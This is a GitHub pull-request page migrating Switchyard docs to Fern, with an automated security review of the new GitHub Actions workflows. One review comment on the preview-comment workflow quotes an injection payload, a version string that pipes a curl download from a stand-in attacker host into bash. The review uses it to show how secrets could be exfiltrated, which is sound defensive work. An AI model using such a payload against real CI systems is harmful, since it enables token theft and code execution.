Skip to content

docs(fern): migrate documentation to Fern#56

Open
lbliii wants to merge 2 commits into
NVIDIA-NeMo:mainfrom
lbliii:codex/convert-docs-to-fern
Open

docs(fern): migrate documentation to Fern#56
lbliii wants to merge 2 commits into
NVIDIA-NeMo:mainfrom
lbliii:codex/convert-docs-to-fern

Conversation

@lbliii

@lbliii lbliii commented Jul 13, 2026

Copy link
Copy Markdown

Summary

  • migrate the 14 published Switchyard pages from MkDocs Markdown to Fern MDX while preserving sidebar labels and order
  • add the nested docs/fern/ project with the NVIDIA global theme, nightly navigation, redirects, and the docs.nvidia.com/nemo/switchyard route
  • replace MkDocs local/CI tooling with pinned Fern validation and update repository links, executable docs tests, and the Switchyard docs skill
  • adapt NeMo Curator's fork-safe two-stage PR previews and tag/manual production publishing to Switchyard's nested docs/ layout
  • preserve every former MkDocs route with explicit Fern redirects and a redirect-only GitHub Pages handoff after the custom domain is healthy
  • keep docs/internal/ as unpublished Markdown notes

Why

Switchyard documentation is moving to the standard NeMo Fern layout: authored nightly content under docs/ and Fern infrastructure under docs/fern/. This removes the parallel MkDocs build and makes Fern navigation and validation the publication contract.

Impact

Docs contributors now use cd docs && make check for validation and make preview for local development. Pull requests collect preview sources without secrets, then a trusted workflow_run publishes the Fern preview and upserts a PR comment using DOCS_FERN_TOKEN. Production publishing runs only for docs/v* tags or manual dispatch. After Fern publishes and docs.nvidia.com/nemo/switchyard/home is healthy, the workflow replaces the stale GitHub Pages site with static per-page redirects. This change does not alter Switchyard runtime APIs or package dependencies.

Validation

  • cd docs && make check — passed with Fern 5.68.0
  • convert-to-fern validation — navigation YAML, MDX safety, unconverted syntax, and internal links passed
  • uv run pytest tests/test_fern_docs.py -v -o addopts= — 4 passed (navigation routes, MDX links, metadata/callouts, Fern and GitHub Pages redirects)
  • isolated Fern preview — 14 pages, 627 rendered internal references/anchors, and 34 redirects checked with zero failures
  • uv run ruff check . — passed
  • uv run mypy switchyard — passed (162 source files)
  • env -u OPENROUTER_API_KEY -u NVIDIA_API_KEY -u OPENAI_API_KEY -u ANTHROPIC_API_KEY uv run pytest tests/ -v -m "not integration" — 1969 passed, 12 skipped, 43 deselected
  • Fern workflow YAML parse — passed for validation, preview build/comment, and publishing workflows
  • git diff --check — passed

No live LLM-provider tests or API calls were run.

Summary by CodeRabbit

  • New Features

    • Migrated the documentation experience to Fern with structured navigation, improved MDX presentation, and updated canonical URLs.
    • Added pull request previews with preview links and changed-page references.
    • Added automated publishing and legacy URL redirects to preserve existing links.
  • Bug Fixes

    • Updated documentation links and getting-started validation to use the current page locations.
  • Tests

    • Added checks for navigation links, page metadata, callouts, and redirect coverage.

@lbliii lbliii force-pushed the codex/convert-docs-to-fern branch from 35a006a to 5ab189b Compare July 13, 2026 20:25
Signed-off-by: Lawrence Lane <llane@nvidia.com>
@lbliii lbliii force-pushed the codex/convert-docs-to-fern branch from 5ab189b to 08c4c4f Compare July 13, 2026 20:58
Signed-off-by: Lawrence Lane <llane@nvidia.com>
@lbliii lbliii marked this pull request as ready for review July 14, 2026 14:44
@lbliii lbliii requested a review from a team as a code owner July 14, 2026 14:44
@coderabbitai

coderabbitai Bot commented Jul 14, 2026

Copy link
Copy Markdown

Review Change Stack

Walkthrough

The documentation system is migrated from MkDocs to Fern-based MDX. Fern navigation, validation, preview, publishing, canonical routes, legacy redirects, contributor guidance, and regression tests are added or updated.

Changes

Fern documentation migration

Layer / File(s) Summary
Fern authoring foundation
.agents/skills/*, docs/AGENTS.md, docs/README.md, docs/Makefile, docs/fern/*
Contributor instructions, Fern commands, navigation conventions, configuration, and documentation infrastructure are introduced or rewritten for Fern.
Published MDX and route migration
docs/*.mdx, docs/*/*.mdx, README.md, AGENTS.md, CHANGELOG.md, DEVELOPMENT.md, tests/*
Documentation pages gain frontmatter and Fern components, links move to canonical routes, and documentation coverage tests use MDX files.
Fern CI and publishing workflows
.github/workflows/fern-*.yml, .github/workflows/publish-fern-docs.yml, .github/workflows/getting-started.yml
Fern checks, preview artifacts and comments, publishing, domain readiness checks, and legacy redirect deployment are wired into GitHub Actions.
Redirect generation and route regression coverage
docs/fern/docs.yml, docs/fern/generate_legacy_redirect_site.py, tests/test_fern_docs.py
Legacy routes map to Fern destinations, static redirect pages are generated, and route, metadata, callout, and redirect behavior is tested.

Estimated code review effort: 4 (Complex) | ~45 minutes

Poem

A bunny hops through MDX bright,
Fern paths bloom in links of light.
Old routes leap to pages new,
CI checks the whole docs queue.
“Hop, hop!” the rabbit cries—
Redirects sparkle under skies.

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 55.56% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly captures the main change: migrating the docs system to Fern.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 7

🧹 Nitpick comments (3)
.github/workflows/fern-docs-preview-comment.yml (1)

51-54: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Unpinned setup-node@v6 with default caching in a token-bearing job.

Unlike the other actions in this file (download-artifact is pinned to a commit SHA), setup-node is only pinned to the floating major tag v6. Separately, setup-node@v6 enables package-manager-cache by default when no cache/package-manager-cache input is supplied, which GitHub's own advisory flags as unsafe for privileged workflows with secrets (this job later exports DOCS_FERN_TOKEN).

🔒 Proposed hardening
       - name: Setup Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@<pinned-sha> # v6
         with:
           node-version: "20"
+          package-manager-cache: false
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/fern-docs-preview-comment.yml around lines 51 - 54, Harden
the “Setup Node.js” step by pinning actions/setup-node to an immutable commit
SHA and explicitly disabling package-manager caching. Preserve the existing
Node.js 20 configuration and ensure the token-bearing job does not use the
default cache behavior.
.github/workflows/publish-fern-docs.yml (1)

37-40: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Unpinned setup-node@v6 with default caching in a DOCS_FERN_TOKEN-bearing job.

Same pattern as fern-docs-preview-comment.yml's setup-node step: floating tag instead of SHA, and v6's default package-manager-cache: true in a privileged, secret-bearing job (see consolidated comment).

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-fern-docs.yml around lines 37 - 40, Update the
“Setup Node.js” step in the publish workflow to pin actions/setup-node to a
reviewed commit SHA instead of the floating v6 tag, and explicitly disable
package-manager caching for this DOCS_FERN_TOKEN-bearing job. Apply the same
hardened setup to the corresponding setup-node step in
fern-docs-preview-comment.yml.
.github/workflows/fern-docs-ci.yml (1)

40-41: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Harden checkout: disable credential persistence.

This job never pushes or needs git credentials beyond the initial checkout; disabling persist-credentials avoids leaving a usable credential in the runner's git config for the rest of the job.

🔒 Proposed fix
       - name: Checkout repository
         uses: actions/checkout@v6
+        with:
+          persist-credentials: false
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/fern-docs-ci.yml around lines 40 - 41, Update the
actions/checkout@v6 step in the checkout repository job to disable credential
persistence by configuring persist-credentials as false, leaving the rest of the
checkout behavior unchanged.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.agents/skills/switchyard-docs/SKILL.md:
- Around line 34-35: Replace the placeholder `/path/to/convert-to-fern` prefix
in the Quick Reference commands for `check_mdx_safety.py` and
`validate_fern_internal_links.py` with the repository’s actual runnable command
or repo-relative script path. Preserve each script name and its existing
arguments, including the nightly versions file reference.

In @.github/workflows/fern-docs-preview-build.yml:
- Around line 37-40: Update the “Checkout PR” actions/checkout configuration in
fern-docs-preview-build.yml and the corresponding checkout step in
publish-fern-docs.yml to set persist-credentials to false, while preserving the
existing fetch-depth setting.

In @.github/workflows/fern-docs-preview-comment.yml:
- Around line 56-57: Secure the “Install pinned Fern CLI” step by reading the
version from fern.config.json into a variable, validating it against the
expected npm version format, and quoting the validated value when passing it to
npm install. Reject any invalid or empty version before invoking npm, ensuring
attacker-controlled configuration cannot introduce shell syntax or extra
arguments.

In @.github/workflows/publish-fern-docs.yml:
- Around line 42-43: Harden the Install pinned Fern CLI step by safely quoting
the version value produced from docs/fern/fern.config.json before passing it to
npm install. Update the command in the publish workflow while preserving the
existing pinned fern-api installation behavior.
- Around line 34-35: Update the “Checkout repository” step to pin
actions/checkout to its approved commit SHA instead of the floating v6 tag, and
set persist-credentials to false. Preserve the existing checkout behavior while
ensuring the contents: write job does not retain checkout credentials.

In `@tests/test_cli_reference_docs.py`:
- Line 139: Update the documentation path collection to recursively include
published MDX pages under docs, including nested directories such as guides and
routing_algorithms. Exclude docs/fern/ entries if needed so the scan remains
limited to published pages while retaining README.md.

In `@tests/test_fern_docs.py`:
- Around line 71-85: Update
test_published_pages_have_descriptions_and_titled_callouts to validate
metadata.get("title") as well as metadata.get("description"), recording a
failure for any missing or empty title while preserving the existing description
and callout checks.

---

Nitpick comments:
In @.github/workflows/fern-docs-ci.yml:
- Around line 40-41: Update the actions/checkout@v6 step in the checkout
repository job to disable credential persistence by configuring
persist-credentials as false, leaving the rest of the checkout behavior
unchanged.

In @.github/workflows/fern-docs-preview-comment.yml:
- Around line 51-54: Harden the “Setup Node.js” step by pinning
actions/setup-node to an immutable commit SHA and explicitly disabling
package-manager caching. Preserve the existing Node.js 20 configuration and
ensure the token-bearing job does not use the default cache behavior.

In @.github/workflows/publish-fern-docs.yml:
- Around line 37-40: Update the “Setup Node.js” step in the publish workflow to
pin actions/setup-node to a reviewed commit SHA instead of the floating v6 tag,
and explicitly disable package-manager caching for this DOCS_FERN_TOKEN-bearing
job. Apply the same hardened setup to the corresponding setup-node step in
fern-docs-preview-comment.yml.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Enterprise

Run ID: fa0e590c-c098-472a-bc87-0cc547732dca

📥 Commits

Reviewing files that changed from the base of the PR and between a2a939d and cb41349.

📒 Files selected for processing (46)
  • .agents/skills/switchyard-docs/SKILL.md
  • .agents/skills/switchyard-testing-ci/SKILL.md
  • .github/workflows/docs.yml
  • .github/workflows/fern-docs-ci.yml
  • .github/workflows/fern-docs-preview-build.yml
  • .github/workflows/fern-docs-preview-comment.yml
  • .github/workflows/getting-started.yml
  • .github/workflows/publish-fern-docs.yml
  • AGENTS.md
  • CHANGELOG.md
  • DEVELOPMENT.md
  • README.md
  • docs/AGENTS.md
  • docs/Makefile
  • docs/README.md
  • docs/architecture.mdx
  • docs/cli_reference.mdx
  • docs/core_concepts.mdx
  • docs/fern/.gitignore
  • docs/fern/AGENTS.md
  • docs/fern/README.md
  • docs/fern/docs.yml
  • docs/fern/fern.config.json
  • docs/fern/generate_legacy_redirect_site.py
  • docs/fern/versions/nightly.yml
  • docs/getting_started.mdx
  • docs/guides/agent_launchers.mdx
  • docs/index.mdx
  • docs/internal/latency_service_routing.md
  • docs/known_issues.mdx
  • docs/operations/context_window.mdx
  • docs/routing_algorithms/llm_classifier_routing.mdx
  • docs/routing_algorithms/overview.mdx
  • docs/routing_algorithms/random_routing.mdx
  • docs/routing_algorithms/stage_router_routing.mdx
  • docs/routing_algorithms/sticky_routing.mdx
  • docs/skill_distillation.mdx
  • docs/stylesheets/nvidia.css
  • mkdocs.yml
  • mkdocs_hooks.py
  • switchyard/lib/profiles/stage_router_config.py
  • tests/getting_started/test_getting_started.py
  • tests/readme/test_readme.py
  • tests/test_cli_reference_docs.py
  • tests/test_fern_docs.py
  • tests/test_mkdocs_repository_links.py
💤 Files with no reviewable changes (5)
  • mkdocs.yml
  • .github/workflows/docs.yml
  • mkdocs_hooks.py
  • docs/stylesheets/nvidia.css
  • tests/test_mkdocs_repository_links.py

Comment on lines +34 to +35
| Check MDX safety | `python /path/to/convert-to-fern/scripts/checks/check_mdx_safety.py docs` |
| Check internal Fern links | `python /path/to/convert-to-fern/scripts/checks/validate_fern_internal_links.py docs --version-yml docs/fern/versions/nightly.yml` |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: locate the MDX safety / internal link validation scripts referenced in the skill.
fd -i 'check_mdx_safety.py' .
fd -i 'validate_fern_internal_links.py' .

Repository: NVIDIA-NeMo/Switchyard

Length of output: 160


🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf 'Files matching validation script names:\n'
fd -i 'check_mdx_safety.py' . || true
fd -i 'validate_fern_internal_links.py' . || true

printf '\nOccurrences of the placeholder path:\n'
rg -n "/path/to/convert-to-fern/scripts/checks|check_mdx_safety.py|validate_fern_internal_links.py" . || true

printf '\nCandidate repo files near the docs skill:\n'
git ls-files '.agents/skills/switchyard-docs/SKILL.md' 'Makefile' '.github/workflows/*' 'docs/**' 'scripts/**' | sed -n '1,200p'

Repository: NVIDIA-NeMo/Switchyard

Length of output: 1569


🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf 'SKILL.md around lines 1-80:\n'
sed -n '1,80p' .agents/skills/switchyard-docs/SKILL.md

printf '\nDocs Makefile targets:\n'
sed -n '1,220p' docs/Makefile

printf '\nFern docs workflow references:\n'
rg -n "check_mdx_safety|validate_fern_internal_links|convert-to-fern|mdx safety|internal links" .github/workflows docs/Makefile docs/README.md docs/fern -S || true

Repository: NVIDIA-NeMo/Switchyard

Length of output: 5133


Replace the placeholder validation commands in the Quick Reference.

File: .agents/skills/switchyard-docs/SKILL.md lines 34-35

Both commands still point at /path/to/convert-to-fern/scripts/checks/..., which is a template path and not runnable in this repo. Point them at the real repo command or a repo-relative script path.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.agents/skills/switchyard-docs/SKILL.md around lines 34 - 35, Replace the
placeholder `/path/to/convert-to-fern` prefix in the Quick Reference commands
for `check_mdx_safety.py` and `validate_fern_internal_links.py` with the
repository’s actual runnable command or repo-relative script path. Preserve each
script name and its existing arguments, including the nightly versions file
reference.

Comment on lines +37 to +40
- name: Checkout PR
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
fetch-depth: 0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

Set persist-credentials: false on this untrusted-PR checkout.

This step checks out the possibly-malicious PR branch but never needs to push; leaving the default persist-credentials: true keeps a live token in the workspace for no benefit. Same pattern appears in publish-fern-docs.yml's checkout step (see consolidated comment).

🧰 Tools
🪛 zizmor (1.26.1)

[warning] 37-40: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/fern-docs-preview-build.yml around lines 37 - 40, Update
the “Checkout PR” actions/checkout configuration in fern-docs-preview-build.yml
and the corresponding checkout step in publish-fern-docs.yml to set
persist-credentials to false, while preserving the existing fetch-depth setting.

Source: Linters/SAST tools

Comment on lines +56 to +57
- name: Install pinned Fern CLI
run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Critical: unquoted, attacker-controlled jq output flows into a privileged shell command (command injection → secret exfiltration).

docs/fern/fern.config.json at this point is the file from the untrusted PR branch (downloaded via the fern-preview artifact produced by the untrusted collector job). Its .version field is fully attacker-controlled, and it's spliced unquoted into npm install -g fern-api@$(...). A PR author can set version to something like 1.0.0; curl attacker.example | bash — bash word-splits the unquoted command substitution and executes the trailing command on this same runner, in the same job that later exports DOCS_FERN_TOKEN and GITHUB_TOKEN as env vars to subsequent steps. Injected code can persist (e.g. shadow fern/npm on PATH) and exfiltrate those secrets when the later steps run. This is precisely the exploitable pattern behind zizmor's generic workflow_run/dangerous-triggers warning on this workflow.

🔒 Proposed fix: quote and validate the version before use
       - name: Install pinned Fern CLI
-        run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json)
+        run: |
+          VERSION="$(jq -r '.version' docs/fern/fern.config.json)"
+          if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$ ]]; then
+            echo "::error::Refusing to install unexpected Fern CLI version: $VERSION"
+            exit 1
+          fi
+          npm install -g "fern-api@${VERSION}"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Install pinned Fern CLI
run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json)
- name: Install pinned Fern CLI
run: |
VERSION="$(jq -r '.version' docs/fern/fern.config.json)"
if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$ ]]; then
echo "::error::Refusing to install unexpected Fern CLI version: $VERSION"
exit 1
fi
npm install -g "fern-api@${VERSION}"
🧰 Tools
🪛 zizmor (1.26.1)

[warning] 57-57: ad-hoc installation of packages (adhoc-packages): installs a package outside of a lockfile

(adhoc-packages)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/fern-docs-preview-comment.yml around lines 56 - 57, Secure
the “Install pinned Fern CLI” step by reading the version from fern.config.json
into a variable, validating it against the expected npm version format, and
quoting the validated value when passing it to npm install. Reject any invalid
or empty version before invoking npm, ensuring attacker-controlled configuration
cannot introduce shell syntax or extra arguments.

Source: Linters/SAST tools

Comment on lines +34 to +35
- name: Checkout repository
uses: actions/checkout@v6

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

Checkout in a contents: write job: pin to SHA and drop persisted credentials.

actions/checkout@v6 here is a floating major-tag reference (other actions in this batch, e.g. download-artifact, are SHA-pinned), and persist-credentials defaults to true in a job that already holds contents: write. Same pattern as the untrusted checkout in fern-docs-preview-build.yml (see consolidated comment).

🧰 Tools
🪛 zizmor (1.26.1)

[warning] 34-35: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-fern-docs.yml around lines 34 - 35, Update the
“Checkout repository” step to pin actions/checkout to its approved commit SHA
instead of the floating v6 tag, and set persist-credentials to false. Preserve
the existing checkout behavior while ensuring the contents: write job does not
retain checkout credentials.

Source: Linters/SAST tools

Comment on lines +42 to +43
- name: Install pinned Fern CLI
run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Same unquoted jq/npm install pattern as the preview-comment workflow.

fern-api@$(jq -r .version docs/fern/fern.config.json) is unquoted here too. Exposure is lower than in fern-docs-preview-comment.yml (this ref requires tag/dispatch access rather than an arbitrary fork PR), but it's the same fragile pattern and worth hardening the same way for defense in depth (see consolidated comment).

🧰 Tools
🪛 zizmor (1.26.1)

[warning] 43-43: ad-hoc installation of packages (adhoc-packages): installs a package outside of a lockfile

(adhoc-packages)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-fern-docs.yml around lines 42 - 43, Harden the
Install pinned Fern CLI step by safely quoting the version value produced from
docs/fern/fern.config.json before passing it to npm install. Update the command
in the publish workflow while preserving the existing pinned fern-api
installation behavior.

Source: Linters/SAST tools


def _public_cli_doc_paths() -> list[Path]:
return [REPO_ROOT / "README.md", *sorted((REPO_ROOT / "docs").glob("*.md"))]
return [REPO_ROOT / "README.md", *sorted((REPO_ROOT / "docs").glob("*.mdx"))]

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Scan nested published MDX pages too.

glob("*.mdx") only checks files directly under docs/, so stale CLI flags in published pages such as docs/guides/*.mdx or docs/routing_algorithms/*.mdx are never validated. Use a recursive glob and exclude docs/fern/ if necessary to match the published-page scope.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/test_cli_reference_docs.py` at line 139, Update the documentation path
collection to recursively include published MDX pages under docs, including
nested directories such as guides and routing_algorithms. Exclude docs/fern/
entries if needed so the scan remains limited to published pages while retaining
README.md.

Source: Coding guidelines

Comment thread tests/test_fern_docs.py
Comment on lines +71 to +85
def test_published_pages_have_descriptions_and_titled_callouts() -> None:
"""Published pages must retain SEO descriptions and converted admonition titles."""
failures: list[str] = []
for path in sorted(DOCS_ROOT.rglob("*.mdx")):
if FERN_ROOT in path.parents:
continue
text = path.read_text(encoding="utf-8")
frontmatter = text.split("---", 2)[1]
metadata = yaml.safe_load(frontmatter)
if not metadata.get("description"):
failures.append(f"{path.relative_to(REPO_ROOT)}: missing description")
for tag in re.findall(r"<(?:Note|Warning)(?:\s+[^>]*)?>", text):
if "title=" not in tag:
failures.append(f"{path.relative_to(REPO_ROOT)}: untitled {tag}")
assert not failures, "\n".join(failures)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Test doesn't enforce non-empty title.

The coding guideline requires every published page to have non-empty title and description frontmatter, but this test only asserts metadata.get("description"); a page with an empty/missing title would still pass.

✅ Proposed fix to also enforce non-empty title
         metadata = yaml.safe_load(frontmatter)
         if not metadata.get("description"):
             failures.append(f"{path.relative_to(REPO_ROOT)}: missing description")
+        if not metadata.get("title"):
+            failures.append(f"{path.relative_to(REPO_ROOT)}: missing title")

Based on coding guidelines, "Give every published page non-empty title and description frontmatter."

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
def test_published_pages_have_descriptions_and_titled_callouts() -> None:
"""Published pages must retain SEO descriptions and converted admonition titles."""
failures: list[str] = []
for path in sorted(DOCS_ROOT.rglob("*.mdx")):
if FERN_ROOT in path.parents:
continue
text = path.read_text(encoding="utf-8")
frontmatter = text.split("---", 2)[1]
metadata = yaml.safe_load(frontmatter)
if not metadata.get("description"):
failures.append(f"{path.relative_to(REPO_ROOT)}: missing description")
for tag in re.findall(r"<(?:Note|Warning)(?:\s+[^>]*)?>", text):
if "title=" not in tag:
failures.append(f"{path.relative_to(REPO_ROOT)}: untitled {tag}")
assert not failures, "\n".join(failures)
def test_published_pages_have_descriptions_and_titled_callouts() -> None:
"""Published pages must retain SEO descriptions and converted admonition titles."""
failures: list[str] = []
for path in sorted(DOCS_ROOT.rglob("*.mdx")):
if FERN_ROOT in path.parents:
continue
text = path.read_text(encoding="utf-8")
frontmatter = text.split("---", 2)[1]
metadata = yaml.safe_load(frontmatter)
if not metadata.get("description"):
failures.append(f"{path.relative_to(REPO_ROOT)}: missing description")
if not metadata.get("title"):
failures.append(f"{path.relative_to(REPO_ROOT)}: missing title")
for tag in re.findall(r"<(?:Note|Warning)(?:\s+[^>]*)?>", text):
if "title=" not in tag:
failures.append(f"{path.relative_to(REPO_ROOT)}: untitled {tag}")
assert not failures, "\n".join(failures)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/test_fern_docs.py` around lines 71 - 85, Update
test_published_pages_have_descriptions_and_titled_callouts to validate
metadata.get("title") as well as metadata.get("description"), recording a
failure for any missing or empty title while preserving the existing description
and callout checks.

Source: Coding guidelines

@ayushag-nv

Copy link
Copy Markdown
Contributor

@lbliii Can you please address coderabbit comments?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants